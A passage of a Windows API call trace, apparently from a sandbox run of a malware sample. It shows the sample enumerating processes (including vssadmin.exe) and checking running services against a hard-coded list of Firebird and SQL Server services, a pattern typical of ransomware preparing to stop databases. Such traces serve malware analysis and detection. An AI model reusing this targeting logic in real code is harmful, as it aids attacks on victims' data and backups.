(lpString="cmd.exe") returned 7 [0192.688] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0192.688] lstrlenW (lpString="conhost.exe") returned 11 [0192.688] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1a8, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0192.688] lstrlenW (lpString="consent.exe") returned 11 [0192.688] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0192.689] lstrlenW (lpString="vssadmin.exe") returned 12 [0192.689] Process32NextW (in: hSnapshot=0x410, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0192.689] CloseHandle (hObject=0x410) returned 1 [0192.689] Sleep (dwMilliseconds=0x1f4) [0193.360] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b170 [0193.361] EnumServicesStatusExW (in: hSCManager=0x447b170, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0193.362] GetLastError () returned 0xea [0193.362] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c94) returned 0x45c2fd0 [0193.362] EnumServicesStatusExW (in: hSCManager=0x447b170, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c2fd0, cbBufSize=0x1c94, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c2fd0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0193.363] CloseServiceHandle (hSCObject=0x447b170) returned 1 [0193.363] lstrlenW (lpString="Appinfo") returned 7 [0193.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0193.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0193.363] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0193.363] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0193.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0193.363] lstrlenW (lpString="AppXSvc") returned 7 [0193.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0193.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0193.363] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0193.363] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0193.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0193.363] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0193.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0193.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0193.363] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0193.363] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0193.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0193.363] lstrlenW (lpString="Audiosrv") returned 8 [0193.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0193.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0193.364] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0193.364] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0193.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0193.364] lstrlenW (lpString="BFE") returned 3 [0193.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0193.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0193.364] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0193.364] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0193.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0193.364] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0193.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0193.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0193.364] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0193.364] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0193.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0193.364] lstrlenW (lpString="CDPSvc") returned 6 [0193.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0193.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0193.364] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0193.364] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0193.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0193.364] lstrlenW (lpString="ClickToRunSvc") returned 13 [0193.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0193.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0193.364] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0193.364] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0193.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0193.364] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0193.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0193.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0193.365] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0193.365] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0193.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0193.365] lstrlenW (lpString="CryptSvc") returned 8 [0193.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0193.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0193.365] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0193.365] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0193.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0193.365] lstrlenW (lpString="DcomLaunch") returned 10 [0193.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0193.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0193.365] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0193.365] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0193.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0193.365] lstrlenW (lpString="DeviceAssociationService") returned 24 [0193.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0193.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0193.365] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0193.365] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0193.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0193.365] lstrlenW (lpString="Dhcp") returned 4 [0193.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0193.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0193.365] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0193.365] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0193.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0193.365] lstrlenW (lpString="Dnscache") returned 8 [0193.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0193.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0193.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0193.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0193.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0193.366] lstrlenW (lpString="DPS") returned 3 [0193.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0193.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0193.366] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0193.366] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0193.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0193.366] lstrlenW (lpString="DsmSvc") returned 6 [0193.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0193.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0193.366] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0193.366] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0193.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0193.366] lstrlenW (lpString="DusmSvc") returned 7 [0193.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0193.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0193.366] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0193.366] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0193.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0193.366] lstrlenW (lpString="EventLog") returned 8 [0193.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0193.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0193.366] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0193.366] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0193.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0193.366] lstrlenW (lpString="EventSystem") returned 11 [0193.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0193.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0193.367] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0193.367] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0193.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0193.367] lstrlenW (lpString="FontCache") returned 9 [0193.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0193.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0193.367] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0193.367] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0193.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0193.367] lstrlenW (lpString="gpsvc") returned 5 [0193.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0193.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0193.367] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0193.367] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0193.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0193.367] lstrlenW (lpString="iphlpsvc") returned 8 [0193.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0193.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0193.367] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0193.367] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0193.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0193.367] lstrlenW (lpString="KeyIso") returned 6 [0193.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0193.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0193.367] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0193.367] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0193.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0193.367] lstrlenW (lpString="LanmanServer") returned 12 [0193.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0193.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0193.367] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0193.367] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0193.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0193.368] lstrlenW (lpString="LanmanWorkstation") returned 17 [0193.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0193.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0193.368] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0193.368] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0193.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0193.368] lstrlenW (lpString="lfsvc") returned 5 [0193.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0193.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0193.368] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0193.368] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0193.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0193.368] lstrlenW (lpString="lmhosts") returned 7 [0193.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0193.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0193.368] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0193.368] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0193.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0193.368] lstrlenW (lpString="LSM") returned 3 [0193.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0193.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0193.368] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0193.368] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0193.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0193.368] lstrlenW (lpString="MpsSvc") returned 6 [0193.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0193.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0193.368] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0193.368] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0193.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0193.601] lstrlenW (lpString="NcbService") returned 10 [0193.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0193.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0193.601] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0193.601] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0193.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0193.601] lstrlenW (lpString="netprofm") returned 8 [0193.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0193.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0193.601] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0193.601] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0193.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0193.601] lstrlenW (lpString="NgcSvc") returned 6 [0193.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0193.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0193.601] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0193.601] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0193.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0193.601] lstrlenW (lpString="NlaSvc") returned 6 [0193.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0193.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0193.601] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0193.601] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0193.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0193.602] lstrlenW (lpString="nsi") returned 3 [0193.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0193.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0193.602] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0193.602] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0193.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0193.602] lstrlenW (lpString="PcaSvc") returned 6 [0193.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0193.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0193.602] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0193.602] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0193.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0193.602] lstrlenW (lpString="PlugPlay") returned 8 [0193.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0193.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0193.602] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0193.602] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0193.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0193.602] lstrlenW (lpString="Power") returned 5 [0193.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0193.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0193.602] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0193.602] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0193.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0193.602] lstrlenW (lpString="ProfSvc") returned 7 [0193.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0193.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0193.602] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0193.603] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0193.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0193.603] lstrlenW (lpString="RpcEptMapper") returned 12 [0193.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0193.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0193.603] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0193.603] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0193.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0193.603] lstrlenW (lpString="RpcSs") returned 5 [0193.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0193.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0193.603] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0193.603] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0193.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0193.603] lstrlenW (lpString="SamSs") returned 5 [0193.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0193.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0193.603] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0193.603] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0193.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0193.603] lstrlenW (lpString="Schedule") returned 8 [0193.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0193.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0193.603] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0193.603] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0193.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0193.603] lstrlenW (lpString="SecurityHealthService") returned 21 [0193.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0193.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0193.603] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0193.604] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0193.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0193.604] lstrlenW (lpString="SENS") returned 4 [0193.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0193.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0193.604] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0193.604] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0193.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0193.604] lstrlenW (lpString="ShellHWDetection") returned 16 [0193.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0193.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0193.604] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0193.604] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0193.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0193.604] lstrlenW (lpString="Spooler") returned 7 [0193.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0193.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0193.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0193.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0193.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0193.604] lstrlenW (lpString="StateRepository") returned 15 [0193.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0193.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0193.604] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0193.604] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0193.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0193.604] lstrlenW (lpString="SysMain") returned 7 [0193.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0193.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0193.604] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0193.604] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0193.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0193.605] lstrlenW (lpString="SystemEventsBroker") returned 18 [0193.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0193.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0193.605] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0193.605] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0193.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0193.605] lstrlenW (lpString="Themes") returned 6 [0193.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0193.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0193.605] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0193.605] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0193.605] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45c2fd0 | out: hHeap=0x420000) returned 1 [0193.605] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3e4 [0193.611] Process32FirstW (in: 